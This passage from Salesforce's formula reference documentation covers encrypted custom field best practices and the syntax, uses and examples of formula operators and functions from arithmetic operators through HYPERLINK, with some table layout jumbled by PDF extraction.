677. If you have the View Encrypted Data permission and you grant login access to another user, be aware that the other user will be able to see encrypted fields unmasked (in plain text). Only users with the View Encrypted Data permission can clone the value of an encrypted field when cloning that record. Only the <apex:outputField> component supports presenting encrypted fields in Visualforce pages.

Best Practices Encrypted fields are editable regardless of whether the user has the View Encrypted Data permission. Use validation rules, field-level security settings, or page layout settings to prevent users from editing encrypted fields. You can still validate the values of encrypted fields using validation rules or Apex. Both work regardless of whether the user has the View Encrypted Data permission. Data for encrypted fields in the debug log is masked. Existing custom fields cannot be converted into encrypted fields nor can encrypted fields be converted into another data type. To encrypt the values of an existing (unencrypted) field, export the data, create an encrypted custom field to store that data, and import that data into the new encrypted field. Mask Type is not an input mask that ensures the data matches the Mask Type. Use validation rules to ensure that the data entered matches the mask type selected. Use encrypted custom fields only when government regulations require it because they involve additional processing and have search-related limitations.

See Also:
Creating Custom Fields Custom Field Attributes

1229

Customize

Operators and Functions

Operators and Functions


Use the following operators and functions when building formulas. Click on the name of the operator or function below to view more details. All functions are available everywhere that you can include a formula such as formula fields, validation rules, approval processes, and workflow rules, unless otherwise specified. Note: Extraneous spaces in the samples below are ignored.

Math Operators Operator + (Add) - (Subtract) * (Multiply) / (Divide) ^ (Exponentiation) Description Calculates the sum of two values. Calculates the difference of two values. Multiplies its values. Divides its values. Raises a number to a power of a specified number.

() (Open Parenthesis and Specifies that the expressions within the open parenthesis and close parenthesis are evaluated Close Parenthesis) first. All other expressions are evaluated using standard operator precedence.

Logical Operators Operator = and == (Equal) <> and != (Not Equal) < (Less Than) > (Greater Than) <= (Less Than or Equal) >= (Greater Than or Equal) && (AND) || (OR) Description Evaluates if two values are equivalent. Evaluates if two values are not equivalent. Evaluates if a value is less than the value that follows this symbol. Evaluates if a value is greater than the value that follows this symbol. Evaluates if a value is less than or equal to the value that follows this symbol. Evaluates if a value is greater than or equal to the value that follows this symbol. Evaluates if two values or expressions are both true. Use this operator as an alternative to the logical function AND. Evaluates if at least one of multiple values or expressions is true. Use this operator as an alternative to the logical function OR.

Text Operators Operator & (Concatenate) Description Connects two or more strings.

1230

Customize

Operators and Functions

Date and Time Functions Function DATE Description Returns a date value from year, month, and day values you enter. Salesforce displays an error on the detail page if the value of the DATE function in a formula field is an invalid date, such as February 29 in a non-leap year. Returns a date value for a date/time or text expression. Returns a year, month, day and GMT time value. Returns a day of the month in the form of a number between 1 and 31. Returns the month, a number between 1 (January) and 12 (December) in number format of a given date. Returns a date/time representing the current moment. Returns the current date as a date data type. Returns the four-digit year in number format of a given date.

DATEVALUE DATETIMEVALUE DAY MONTH NOW TODAY YEAR

Informational Functions Function BLANKVALUE ISBLANK ISNULL NULLVALUE PRIORVALUE Description Determines if an expression has a value and returns a substitute expression if it does not. If the expression has a value, returns the value of the expression. Determines if an expression has a value and returns TRUE if it does not. If it contains a value, this function returns FALSE. Determines if an expression is null (blank) and returns TRUE if it is. If it contains a value, this function returns FALSE. Determines if an expression is null (blank) and returns a substitute expression if it is. If the expression is not blank, returns the value of the expression. Returns the previous value of a field.

Logical Functions Function AND CASE IF ISCHANGED ISNEW Description Returns a TRUE response if all values are true; returns a FALSE response if one or more values are false. Checks a given expression against a series of values. If the expression is equal to a value, returns the corresponding result. If it is not equal to any values, it returns the else_result. Determines if expressions are true or false. Returns a given value if true and another value if false. Compares the value of a field to the previous value and returns TRUE if the values are different. If the values are the same, this function returns FALSE. Checks if the formula is running during the creation of a new record and returns TRUE if it is. If an existing record is being updated, this function returns FALSE.

1231

Customize

Operators and Functions

Function ISNUMBER NOT OR

Description Determines if a text value is a number and returns TRUE if it is. Otherwise, it returns FALSE. Returns FALSE for TRUE and TRUE for FALSE. Determines if expressions are true or false. Returns TRUE if any expression is true. Returns FALSE if all expressions are false.

Math Functions Function ABS CEILING DISTANCE EXP FLOOR GEOLOCATION LN LOG MAX MIN MOD ROUND SQRT Description Calculates the absolute value of a number. The absolute value of a number is the number without its positive or negative sign. Rounds a number up to the nearest integer. Calculates the distance between two locations in miles or kilometers. Returns a value for e raised to the power of a number you specify. Returns a number rounded down to the nearest integer. Returns a geolocation based on the provided latitude and longitude. Must be used with the DISTANCE function. Returns the natural logarithm of a specified number. Natural logarithms are based on the constant e value of 2.71828182845904. Returns the base 10 logarithm of a number. Returns the highest number from a list of numbers. Returns the lowest number from a list of numbers. Returns a remainder after a number is divided by a specified divisor. Returns the nearest number to a number you specify, constraining the new number by a specified number of digits. Returns the positive square root of a given number.

Text Functions Function BEGINS BR CASESAFEID CONTAINS FIND GETSESSIONID Description Determines if text begins with specific characters and returns TRUE if it does. Returns FALSE if it does not. Inserts a line break in a string of text. Converts a 15-character ID to a case-insensitive 18-character ID. Compares two arguments of text and returns TRUE if the first argument contains the second argument. If not, returns FALSE. Returns the position of a string within a string of text represented as a number. Returns the users session ID.

1232

Customize

Operators and Functions

Function HYPERLINK IMAGE INCLUDES ISPICKVAL LEFT LEN LOWER LPAD MID RIGHT RPAD SUBSTITUTE TEXT TRIM UPPER VALUE

Description Creates a link to a URL specified that is linkable from the text specified. Inserts an image with alternate text and height/width specifications. Determines if any value selected in a multi-select picklist field equals a text literal you specify. Determines if the value of a picklist field is equal to a text literal you specify. Returns the specified number of characters from the beginning of a text string. Returns the number of characters in a specified text string. Converts all letters in the specified text string to lowercase. Any characters that are not letters are unaffected by this function. Locale rules are applied if a locale is provided. Inserts characters you specify to the left-side of a text string. Returns the specified number of characters from the middle of a text string given the starting position. Returns the specified number of characters from the end of a text string. Inserts characters that you specify to the right-side of a text string. Substitutes new text for old text in a text string. Converts a percent, number, date, date/time, or currency type field into text anywhere formulas are used. Also, converts picklist values to text in validation rules, formula fields, and field updates. Removes the spaces and tabs from the beginning and end of a text string. Converts all letters in the specified text string to uppercase. Any characters that are not letters are unaffected by this function. Locale rules are applied if a locale is provided. Converts a text string to a number.

Summary Functions The following functions are available with summary, matrix, and joined reports. Function Description

PARENTGROUPVAL This function returns the value of a specified parent grouping. A parent grouping is any level above the one containing the formula. You can only use this function in custom summary formulas for reports. PREVGROUPVAL This function returns the value of a specified previous grouping. A previous grouping is one that comes before the current grouping in the report. Choose the grouping level and increment. The increment is the number of columns or rows before the current summary. The default is 1; the maximum is 12. You can only use this function in custom summary formulas for reports.

Advanced Functions Function GETRECORDIDS Description Returns an array of strings in the form of record IDs for the selected records in a list, such as a list view or related list.

1233

Customize

Operators and Functions

Function INCLUDE LINKTO REGEX

Description Returns content from an s-control snippet. Use this function to reuse common code in many s-controls. Returns a relative URL in the form of a link (href and anchor tags) for a custom s-control or Salesforce page. Compares a text field to a regular expression and returns TRUE if there is a match. Otherwise, it returns FALSE. A regular expression is a string used to describe a format of a string according to certain syntax rules. Returns a script tag with source for a URL you specify. Use this function when referencing the Force.com AJAX Toolkit or other JavaScript toolkits. Returns a relative URL for an action, s-control, Visualforce page, or a file in a static resource archive in a Visualforce page. Returns a value by looking up a related value on a custom object similar to the VLOOKUP() Excel function.

REQUIRESCRIPT URLFOR VLOOKUP

Encoding Functions Function HTMLENCODE JSENCODE JSINHTMLENCODE Description Encodes text and merge field values for use in HTML by replacing characters that are reserved in HTML, such as the greater-than sign (>), with HTML entity equivalents, such as &gt;. Encodes text and merge field values for use in JavaScript by inserting escape characters, such as a backslash (\), before unsafe JavaScript characters, such as the apostrophe ('). Encodes text and merge field values for use in JavaScript within HTML tags by inserting escape characters before unsafe JavaScript characters and replacing characters that are reserved in HTML with HTML entity equivalents. Encodes text and merge field values for use in URLs by replacing characters that are illegal in URLs, such as blank spaces, with the code that represent those characters as defined in RFC 3986, Uniform Resource Identifier (URI): Generic Syntax. For example, blank spaces are replaced with %20, and exclamation points are replaced with %21.

URLENCODE

+ (Add) Description: Use: Formula Field Example: Calculates the sum of two values.
value1 + value2 and replace each value with merge fields, expressions, or other numeric

values.
Amount + Maint_Amount__c + Services_Amount__c

This formula calculates the sum of the product Amount, maintenance amount, and services fees. Note that Maint amount and Service Fees are custom currency fields. Report Example:
EMAIL_OPT_OUT:SUM + DO_NOT_CALL:SUM calculates all Email Opt Out fields plus all Do Not Call fields on the leads in your report. This formula is a number data type that

returns a positive integer.

1234

Customize

Operators and Functions

Validation Rule Example:

You may have a custom object that allows users to track the total number of hours worked in a week. Use the following example to ensure that users cannot save a time card record with more than 40 hours in a work week.
Monday_Hours__c + Tuesday_Hours__c + Wednesday_Hours__c + Thursday_Hours__c + Friday_Hours__c > 40

Use a formula like this one in a validation rule to display the following error message when the total number of hours entered for each work day is greater than 40: Your total hours cannot exceed 40. This example requires five custom fields on your custom object, one for each day of work.

- (Subtract) Description: Use: Example: Calculates the difference of two values.


value1 - value2 and replace each value with merge fields, expressions, or other numeric

values.
Amount - Discount_Amount__c

This formula calculates the difference of the product Amount less the Discount Amount. Note that Discount Amount is a custom currency field. Report Example:
AMOUNT:SUM - Product.Discount_Amount__c:SUM calculates the difference of all Amount fields and all Discounted Amount custom fields on the products in your report.

This formula is a currency data type that returns a currency sign and decimal places.

* (Multiply) Description: Use: Example: Multiplies its values.


value1 * value2 and replace each value with merge fields, expressions, or other numeric

values.
Consulting_Days__c * 1200

This formula calculates the number of consulting days times 1200 given that this formula field is a currency data type and consulting charges a rate of $1200 per day. Note that Consulting Days is a custom field. Report Example:
RowCount * AGE:AVG calculates the record count times the average age value of your

report. This formula is a number data type that returns a positive or negative integer or decimal.

/ (Divide) Description: Divides its values.

1235

Customize

Operators and Functions

Use: Example:

value1 / value2 and replace each value with merge fields, expressions, or other numeric

values.
AnnualRevenue/ NumberOfEmployees

This formula calculates the revenue amount per employee using a currency field.
IF(NumberOfOpportunities > 0, NumberOfWonOpportunities / NumberOfOpportunities, null)

This formula calculates the win rate of opportunities on a campaign. Report Example: % Won Opportunities
WON:SUM / RowCount calculates the percent of Won opportunities using a record count

representing the number of all opportunities in your report. This formula is a number data type that returns a positive or negative integer. % Difference between Cost and Sales Price
(TOTAL_PRICE:SUM - QUANTITY:SUM * Product2.Cost__c:SUM) / (QUANTITY:SUM * Product2.Cost__c:SUM) calculates the average percent difference

between what a product costs and its selling price on a product-by-product level. Note that Product2.Cost__c:SUM is a custom currency field named Cost on products, which includes the cost of each product. This formula is a percent data type that returns a positive or negative integer. For best results, use this on a summary Opportunities with Products report that is summarized by Product Name and includes summary totals for Quantity, Total Price, and Cost.

^ (Exponentiation) Description: Use: Example: Report Example: Tips: Raises a number to a power of a specified number.
number^integer and replace number with a merge field, expression, or another numeric value; replace integer with a merge field that contains an integer, expression, or any integer.

NumberOfEmployees^4 calculates the number of employees to the 4th power. ACTIVE:SUM ^ 2 calculates the number of active Salesforce users to the 2nd power for

administration. This formula is a number data type that returns a positive integer. Avoid replacing integer with a negative number.

() (Open Parenthesis and Close Parenthesis) Description: Use: Example: Specifies that the expressions within the open parenthesis and close parenthesis are evaluated first. All other expressions are evaluated using standard operator precedence.
(expression1) expression2... and replace each expression with merge fields,

expressions, or other numeric values.


(Unit_Value__c - Old_Value__c) / New_Value__c calculates the difference

between the old value and new valuedivided by the new value.

1236

Customize

Operators and Functions

Report Example:

(DURATIONHOURS:SUM * RowCount) / 24 calculates the duration of all event times

the record count per 24 hours. This formula is a percent data type that returns a positive or negative integer or decimal, representing what percent of a day is spent on events.

= and == (Equal) Description: Use: Example: Evaluates if two values are equivalent.
expression1=expression2 or expression1 == expression2, and replace each expression with merge fields, expressions, or other numeric values.

Due Date
Due Date = CreatedDate + 5 assigns a due date that is five days past the create date.

Commission Amount
IF(Probability =1, ROUND(Amount*0.02, 2), 0)

This formula calculates the 2% commission amount of an opportunity that has a probability of 100%. All other opportunities will have a commission value of 0. Possible results: An opportunity with a Probability of 90% will have a commission of 0. An opportunity with a Probability of 100% and an Amount of $100,000 will have a commission of $2,000.

<> and != (Not Equal) Description: Use: Example:


IF(Maint_Amount__c + Services_Amount__c<> Amount, "DISCOUNTED", "FULL PRICE")

Evaluates if two values are not equivalent.


expression1 <> expression2 or expression1 != expression2, and replace each expression with merge fields, expressions, or other numeric values.

This formula displays DISCOUNTED on product if its maintenance amount and services amount do not equal the product amount. Otherwise, displays FULL PRICE. Note that this example uses two custom currency fields for Maint Amount and Services Amount.

< (Less Than) Description: Use: Example: Evaluates if a value is less than the value that follows this symbol.
value1 < value2 and replace each value with merge fields, expressions, or other numeric

values.
IF(AnnualRevenue < 1000000, 1, 2) assigns the value 1 with revenues less than

one million and the value 2 to revenues greater than one million.

1237

Customize

Operators and Functions

> (Greater Than) Description: Use: Example: Evaluates if a value is greater than the value that follows this symbol.
value1 > value2 and replace each value with merge fields, expressions, or other numeric

values.
IF(commission__c > 1000000, "High Net Worth", "General") assigns the

High Net Worth value to a commission greater than one million. Note, this is a text formula field that uses a commission custom field.

<= (Less Than or Equal) Description: Use: Example: Evaluates if a value is less than or equal to the value that follows this symbol.
value1 <= value2 and replace each value with merge fields, expressions, or other numeric

values.
IF(AnnualRevenue <= 1000000, 1, 2) assigns the value 1 with revenues less than

or equal to one million and the value 2 with revenues greater than one million.

>= (Greater Than or Equal) Description: Use: Example: Evaluates if a value is greater than or equal to the value that follows this symbol.
value1 >= value2 and replace each value with merge fields, expressions, or other numeric

values.
IF(Commission__c >= 1000000, "YES", "NO") assigns the YES value with a

commission greater than or equal to one million. Note, this is a text formula field that uses a custom currency field called Commission.

&& (AND) Description: Use: Example: Evaluates if two values or expressions are both true. Use this operator as an alternative to the logical function AND.
(logical1) && (logical2) and replace logical1 and logical2 with the values or

expressions that you want evaluated.


IF((Price<100 && Quantity<5),"Small", null)

This formula displays Small if the price is less than 100 and quantity is less than five. Otherwise, this field is blank.

|| (OR) Description: Use: Evaluates if at least one of multiple values or expressions is true. Use this operator as an alternative to the logical function OR.
(logical1) || (logical2) and replace any number of logical references with the values

or expressions you want evaluated.

1238

Customize

Operators and Functions

Example:

IF((ISPICKVAL(Priority, "High")) || (ISPICKVAL(Status , "New")), ROUND(NOW()-CreatedDate, 0), null)

This formula returns the number of days a case has been open if the Status is new or the Priority is high. If the case was opened today, this field displays a zero. Validation Rule Example:
(Discount_Rate__c < 0) || (Discount_Rate__c > 0.40)

This validation rule formula displays the following error message when the Discount Rate custom field is not between 0 and 40%: "Discount Rate cannot exceed 40%."

& (Concatenate) Description: Use: Example: Connects two or more strings.


string1&string2 and replace each string with merge fields, expressions, or other values.

"Expense-" & Trip_Name__c & "-" & ExpenseNum__c

This formula displays the text Expense- followed by trip name and the expense number. This is a text formula field that uses an expense number custom field.

ABS Description: Use: Example: Calculates the absolute value of a number. The absolute value of a number is the number without its positive or negative sign.
ABS(number) and replace number with a merge field, expression, or other numeric value

that has the sign you want removed.


ABS(ExpectedRevenue) calculates the positive value of the Expected Revenue amount

regardless of whether it is positive or negative.

AND Description: Use: Formula Field Example: Returns a TRUE response if all values are true; returns a FALSE response if one or more values are false. Use this function as an alternative to the operator && (AND).
AND(logical1,logical2,...) and replace logical1,logical2,... with the values

that you want evaluated.


IF(AND(Price<1,Quantity<1),"Small", null)

This formula displays Small if the price and quantity are less than one. This field is blank if the asset has a price or quantity greater than one.

BEGINS Description: Determines if text begins with specific characters and returns TRUE if it does. Returns FALSE if it does not.

1239

Customize

Operators and Functions

Use: Example:

BEGINS(text, compare_text) and replace text, compare_text with the characters

or fields you want to compare.


IF(BEGINS (Product_type__c, "ICU"), "Medical", "Technical")

This example returns the text Medical if the text in any Product Type custom text field begins with ICU. For all other products, it displays Technical. Tips: This function is case sensitive so be sure your compare_text value has the correct capitalization. When using this function in a validation rule or workflow rule, fields that are blank are considered valid. For example, if you have a validation rule that tests to see if the serial number of an asset begins with 3, all assets that have a blank serial number are considered valid.

BLANKVALUE Description: Use: Determines if an expression has a value and returns a substitute expression if it does not. If the expression has a value, returns the value of the expression.
BLANKVALUE(expression, substitute_expression) and replace expression with the expression you want evaluated; replace substitute_expression with the value you

want to replace any blank values. Example: Example 1


BLANKVALUE(Department, Undesignated)

This formula returns the value of the Department field if the Department field contains a value. If the Department field is empty, this formula returns the word Undesignated. Example 2
(BLANKVALUE(Payment_Due_Date__c, StartDate +5)

This formula returns the date five days after the contract start date whenever Payment Due Date is blank. Payment Due Date is a custom date field. Tips: Use BLANKVALUE instead of NULLVALUE in new formulas. BLANKVALUE has the same functionality as NULLVALUE, but also supports text fields. Salesforce will continue to support NULLVALUE, so you do not need to change existing formulas. A field is not empty if it contains a character, blank space, or zero. For example, a field that contains a space inserted with the spacebar is not empty. Use the BLANKVALUE function to return a specified string if the field does not have a value; use the ISBLANK function if you only want to check if the field has a value. If you use this function with a numeric field, the function only returns the specified string if the field does not have a value and is not configured to treat blank fields as zeroes.

BR Description: Use: Inserts a line break in a string of text.


BR()

1240

Customize

Operators and Functions

Example:
CASE(ShippingCountry, "USA", ShippingStreet & BR() & ShippingCity & ", " & ShippingState & " " & ShippingPostalCode & BR() & ShippingCountry, "France", ShippingStreet & BR() & ShippingPostalCode & " " & ShippingCity & BR() & ShippingCountry, "etc")

This formula field displays a formatted mailing address for a contact in standard format, including spaces and line breaks where appropriate depending on the country. Tips: Do not remove the parentheses after the function name. Keep the parentheses empty. They do not need to contain a value. Remember to surround the BR() with concatenation operators: &. Avoid using this function in mail merge templates. This function is not available in custom buttons and links, s-controls, or reports.

CASE Description: Use: Checks a given expression against a series of values. If the expression is equal to a value, returns the corresponding result. If it is not equal to any values, it returns the else_result.
CASE(expression,value1, result1, value2, result2,..., else_result) and replace expression with the field or value you want compared to each specified value.

Replace each value and result with the value that must be equivalent to return the result entry. Replace else_result with the value you want returned when the expression does not equal any values. Formula Field Example: Days Open for Cases Use this example of a custom formula field called Days Open to display different text depending on the number of days a case has been open:
CASE(Days_Open__c, 3, "Reassign", 2, "Assign Task", "Maintain")

The following text is displayed: Reassign for any case open three days. Assign Task for any case open two days. Maintain for all other cases.

Last Activity Month This formula field displays the month of the last activity or None if there are no activities.
CASE(MONTH(LastActivityDate), 1, "January", 2, "February",

1241

Customize

Operators and Functions

3, "March", 4, "April", 5, "May", 6, "June", 7, "July", 8, "August", 9, "September", 10, "October", 11, "November", 12, "December", "None")

Default Value Example:

Discount Rate Use the following default value formula to insert a different discount rate on an opportunity based on the department of the person creating the opportunity:
CASE(User.Department, "IT", 0.25, "Field", 0.15, 0)

In this example, the formula inserts a discount rate of 25% on any opportunity created by a user in the IT department or 15% on any opportunity created by someone in the Field department. A zero is applied if the creator does not belong to either of these departments. This is a custom percent field on opportunities that uses the standard user field Department. Product Language You may want to associate a product with its language so that your users know the type of documentation or adapter to include. Use the following default value formula to automatically set the language of a product based on the country of the user creating the product. In this example, the default value is Japanese if the user's country is Japan and English if the user's country is US. If neither is true, the default value unknown is inserted into the Product Language field.
CASE($User.Country , "Japan", "Japanese", "US", "English","unknown")

Tips:

Be sure your value1, value2... expressions are the same data type. Be sure your result1, result2... expressions are the same data type. CASE functions cannot contain functions that return true or false. Instead, make true or false expressions return numbers such as:
CASE(1, IF(ISPICKVAL (Term__c, "12"), 1, 0), 12 * Monthly_Commit__c, IF(ISPICKVAL(Term__c, "24"), 1, 0), 24 * Monthly_Commit__c, 0)

In this formula, Term is a picklist field that is multiplied by the Monthly Commit whenever it contains the value 1 for true. The else_result value is required. CASE functions return an error whenever any of the expressions return an error, regardless of which one should be returned. For example, CASE(Field__c,"Partner", "P", "Customer", "C", LEFT(Field__c, -5)) returns an error even if the value of the field is Partner or Customer because the last statement is illogical. If the field in your CASE function is blank, it returns your else_result value. For example, this formula: CASE(Days_Open__c, 3, "Reassign", 2, "Assign

1242

Customize

Operators and Functions

Task", "Maintain") displays Maintain if the Days Open field is blank, 0, or any

value other than 2 or 3. Use CASE functions to determine if a picklist value is equal to a particular value. For example the formula CASE(Term__c, "12", 12 * Monthly_Commit__c, "24", 24 * Monthly_Commit__c, 0) multiplies the Monthly Commit amount by 12 whenever the Term is 12 or multiplies the Monthly Commit amount by 24 whenever the Term is 24. Otherwise, the result is zero.

CASESAFEID Description: Use: Example:


CASESAFEID (Id)

Converts a 15-character ID to a case-insensitive 18-character ID.


CASESAFEID(id) and replace id with the objects ID.

This formula replaces the 15-character ID with the 18-character, case-insensitive ID. Tips: Convert to 18-character IDs for better compatibility with Excel. The CASESAFEID function is available everywhere that you can define a formula except reports and s-controls.

CEILING Description: Use: Example: Rounds a number up to the nearest integer.


CEILING(number) and replace number with the field or expression you want rounded.

Rounding Up (literal value)


CEILING(2.5)

This formula returns 3, which is 2.5 rounded up to the nearest number. Earthquake Magnitude
CEILING(Magnitude__c) returns the value of a formula number field that calculates the

magnitude of an earthquake up to the nearest integer.

CONTAINS Description: Use: Compares two arguments of text and returns TRUE if the first argument contains the second argument. If not, returns FALSE.
CONTAINS(text, compare_text) and replace text with the text that contains the value of compare_text.

1243

Customize

Operators and Functions

Example:
IF(CONTAINS(Product_Type__c, "part"), "Parts", "Service")

This formula checks the content of a custom text field named Product_Type and returns Parts for any product with the word part in it. Otherwise, it returns Service. Note that the values are case sensitive, so if a Product_Type field contains the text Part or PART, this formula returns Services. Tips: This function is case sensitive so be sure your compare_text value has the correct capitalization. When using this function in a validation rule or workflow rule, fields that are blank are considered valid. For example, if you have a validation rule that tests to see if the serial number of an asset contains A, all assets that have a blank serial number are considered valid. The CONTAINS function does not support multi-select picklists. Use INCLUDES to see if a multi-select picklist has a specific value.

DATE Description: Returns a date value from year, month, and day values you enter. Salesforce displays an error on the detail page if the value of the DATE function in a formula field is an invalid date, such as February 29 in a non-leap year.
DATE(year,month,day) and replace year with a four-digit year, month with a two-digit month, and day with a two-digit day. DATE(2005, 01, 02) creates a date field of January 2, 2005.

Use: Example:

DATEVALUE Description: Use: Example: Returns a date value for a date/time or text expression.
DATEVALUE(expression) and replace expression with a date/time or text value, merge

field, or expression. Closed Date


DATEVALUE(ClosedDate) displays a date field based on the value of the Date/Time Closed field.

Date Value
DATEVALUE("2005-11-15") returns November 15, 2005 as a date value.

Tips:

If the field referenced in the function is not a valid text or date/time field, the formula field displays #ERROR! When entering a date, surround the date with quotes and use the following format: YYYY-MM-DD, that is, a four-digit year, two-digit month, and two-digit day. If the expression does not match valid date ranges, such as the MM is not between 01 and 12, the formula field displays #ERROR! Dates and times are always calculated using the users time zone.

1244

Customize

Operators and Functions

DATETIMEVALUE Description: Use: Example: Returns a year, month, day and GMT time value.
DATETIMEVALUE(expression) and replace expression with a date/time or text value,

merge field, or expression. Closed Date


DATETIMEVALUE(ClosedDate) displays a date field based on the value of the Date/Time Closed field.

Date Value
DATETIMEVALUE("2005-11-15 17:00:00") returns November 15, 2005 5:00 PM

GMT as a date and time value. Tips: DATETIMEVALUE is always calculated using GMT time zone and cant be changed. When entering a specific date, surround the date with quotes and use the following format: YYYY-MM-DD, that is, a four-digit year, two-digit month, and two-digit day. If the expression does not match valid date ranges, such as the MM is not between 01 and 12, the formula field displays #ERROR!

DAY Description: Use: Example: Returns a day of the month in the form of a number between 1 and 31.
DAY(date) and replace date with a date field or value such as TODAY(). DAY(Code_Freeze__c) returns the day in your custom code freeze date. Note this does

not work on date/time fields.

DISTANCE Description: Use: Calculates the distance between two locations in miles or kilometers.
DISTANCE(mylocation1, mylocation2, unit) and replace mylocation1 and mylocation2 with the two location fields or any value returned by the GEOLOCATION function that you want to compare. Replace unit with mi (miles) or km (kilometers).

Examples:

Distance between two geolocation fields


DISTANCE(warehouse_location__c, store_location__c, mi)

This formula returns the distance, in miles, between the warehouse and the store. In this example, warehouse_location__c and store_location__c are the names of two custom geolocation fields. Distance between a custom geolocation field and fixed coordinates
DISTANCE(warehouse_location__c, GEOLOCATION(37.775,-122.418), km)

This formula returns the distance, in kilometers, between the warehouse and the known latitude and longitude 37.775, 122.418 (San Francisco). Distances with conditions

1245

Customize

Operators and Functions

IF(DISTANCE(warehouse_location__c, store_location__c, mi)<10, Near, Far)

This formula updates a text formula field to Near if the distance between the warehouse and the store is less than 10 miles. Otherwise, it updates the text field to Far. Tip: Although DISTANCE can be calculated in miles or kilometers, the unit is not returned in the calculation. If possible, include the unit of measure in the name of your distance formula field, so users know whether the distance is in miles or kilometers. Tips:

Note: The DISTANCE and GEOLOCATION formula functions are in beta release. See Geolocation Custom Field OverviewBeta on page 1104 for more information. The DISTANCE function returns a number data type. The DISTANCE function is available only with formula fields and Visual Workflow. To use it with validation rules or in reports, set up the formula field first, and reference the field in the rule or report. The DISTANCE function is not available in workflow rules and approval processes. DISTANCE is the only formula function that can use GEOLOCATION parameters. Distance is always calculated in decimals, even if youre displaying the geolocation notation in degrees, minutes, and seconds in the user interface. Specify the number of Decimal Places in the custom field setup wizard. DISTANCE only supports the logical operators > and <, returning values within (<) or beyond (>) a specified radius. Distance is calculated as a straight lineas the crow fliesregardless of geography and topography between the two points.

EXP Description: Use: Example: Returns a value for e raised to the power of a number you specify.
EXP(number) and replace number with a number field or value such as 5.

Exponent of a Literal Value


EXP(3)

This formula returns the value of e to the third power. Compound Interest
Principal__c * EXP(Rate__c * Years__c)

This formula calculates the compound interest based on a custom currency field for principal, custom percent field for rate, and custom number field for years.

FIND Description: Returns the position of a string within a string of text represented as a number.

1246

Customize

Operators and Functions

Use:

FIND(search_text, text[, start_num]) and replace search_text with the string you want to find, replace text with the field or expression you want to search, and replace start_num with the number of the character from which to start searching from left to

right. Example: Street Address


FIND(" ", Street) returns the character position of the first space in the Street field.

You can use this number to find out the length of the street address as a means of separating a street address from street name in an address field. Deriving Website Addresses
SUBSTITUTE(Email, LEFT(Email, FIND("@", Email)), "www.") finds the

location of the @ sign in a person's email address to determine the length of text to replace with a www. as a means of deriving their website address. Tips: Be sure to remove the brackets, [ and ], from your formula before validating it. If the field referenced in your text parameter is blank, the formula field displays 0. Your search_text parameter is case sensitive and cannot contain any wildcard characters. If your search does not return any results, a 0 displays in the field. The start_num parameter is optional. If you do not enter a start_num value, the formula uses the value one, or the first character in the string. If your start_num is not greater than zero, a 0 displays in the field. If your start_num is greater than the length of the text, a 0 displays in the field. When entering your start_num parameter, remember that some fields like the Website field are unique because a http:// is automatically appended to the beginning of the text you enter. Note that the first character in a string is designated as one rather than zero.

FLOOR Description: Use: Example: Returns a number rounded down to the nearest integer.
FLOOR(number) and replace number with a number field or value such as 5.245.

Commission Amounts
FLOOR(commission__c) rounds commission down to the nearest integer.

Contact's Age
FLOOR((TODAY()-Birthdate)/365.2425)

Use this formula to calculate a persons age based on a standard field called Birthdate. The persons Birthdate is subtracted from todays date, which returns the number of days since the persons Birthdate. This number is divided by the number of days in a year and rounded down to the nearest integer.

GEOLOCATION Description: Returns a geolocation based on the provided latitude and longitude. Must be used with the DISTANCE function.

1247

Customize

Operators and Functions

Use:

GEOLOCATION(latitude, longitude, unit) and replace latitude and longitude with the corresponding geolocation, numerical code values. Replace unit with mi (miles)

or km (kilometers). Examples: Distance between two geolocation fields


DISTANCE(warehouse_location__c, store_location__c, mi)

This formula returns the distance, in miles, between the warehouse and the store. In this example, warehouse_location__c and store_location__c are the names of two custom geolocation fields. Distance between a custom geolocation field and fixed coordinates
DISTANCE(warehouse_location__c, GEOLOCATION(37.775,-122.418), km)

This formula returns the distance, in kilometers, between the warehouse and the known latitude and longitude 37.775, 122.418 (San Francisco). Tips: Note: The DISTANCE and GEOLOCATION formula functions are in beta release. See Geolocation Custom Field OverviewBeta on page 1104 for more information. The GEOLOCATION function returns a location data type that can be used only by, and must be used with, the DISTANCE function. The GEOLOCATION function does not work on its own. When using the GEOLOCATION function, the geolocation field must precede the latitude and longitude coordinates. For example,
DISTANCE(warehouse_location__c, GEOLOCATION(37.775,-122.418), km) works but DISTANCE(GEOLOCATION(37.775,-122.418), warehouse_location__c, km) doesnt work.

GETRECORDIDS Description: Use: Returns an array of strings in the form of record IDs for the selected records in a list, such as a list view or related list.
{!GETRECORDIDS(object_type)} and replace object_type with a reference to the

custom or standard object for the records you want to retrieve.

1248

Customize

Operators and Functions

Custom Button Example:


{!REQUIRESCRIPT ("/soap/ajax/13.0/connection.js")} var records = {!GETRECORDIDS($ObjectType.Sample)}; var newRecords = []; if (records[0] == null) { alert("Please select at least one row") } else { for (var n=0; n<records.length; n++) { var c = new sforce.SObject("Case"); c.id = records[n]; c.Status = "New"; newRecords.push(c); } result = sforce.connection.update(newRecords); window.location.reload(); }

In this example, all selected case records are updated with a Status of New. To set this up in your organization, create a custom list button for cases with the following attributes:
Display Type is List Button Behavior is Execute JavaScript Content Source is OnClick JavaScript

Paste the sample code above into the content of your custom button. Finally, add the list button to the a page layout that contains the Cases related list, such as accounts or opportunities. Users can select any number of cases in the related list and click the list button to change the status of those cases at once. Notice the check for records[0] == null, which displays a message to users when they do not select at least one record in the list. Tips: Use global variables to access special merge fields for s-controls, custom buttons, and links. Activities are special types of objects. Use {!GETRECORDIDS($ObjectType.Task)} when creating a task list button. Use {!GETRECORDIDS($ObjectType.Event)} when creating an event list button. This function is only available in custom buttons, links, and s-controls.

GETSESSIONID Description: Use: Returns the users session ID.


GETSESSIONID()

1249

Customize

Operators and Functions

Example:
HYPERLINK ("https://www.myintegration.com?sId="& GETSESSIONID() & "?&rowID="&Name & "action=CreateTask","Create a Meeting Request")

creates a link to an application outside of Salesforce, passing the parameters so that it can connect to Salesforce via the API and create the necessary event.

HTMLENCODE Description: Use: Example: Encodes text and merge field values for use in HTML by replacing characters that are reserved in HTML, such as the greater-than sign (>), with HTML entity equivalents, such as &gt;.
{!HTMLENCODE(text)} and replace text with the merge field or text string that contains

the reserved characters. If the merge field foo__c contains <B>Enter the user's name<b>, {!HTMLENCODE(foo__c)} results in: &lt;B&gt;Enter the user&#39;s
name&lt;/b&gt;

Tips:

This function is only available in custom buttons and links.

HYPERLINK Description: Use: Creates a link to a URL specified that is linkable from the text specified.
HYPERLINK(url, friendly_name [,target]) and replace url with the Web address, replace friendly_name with the link text, and, optionally, replace target with the window

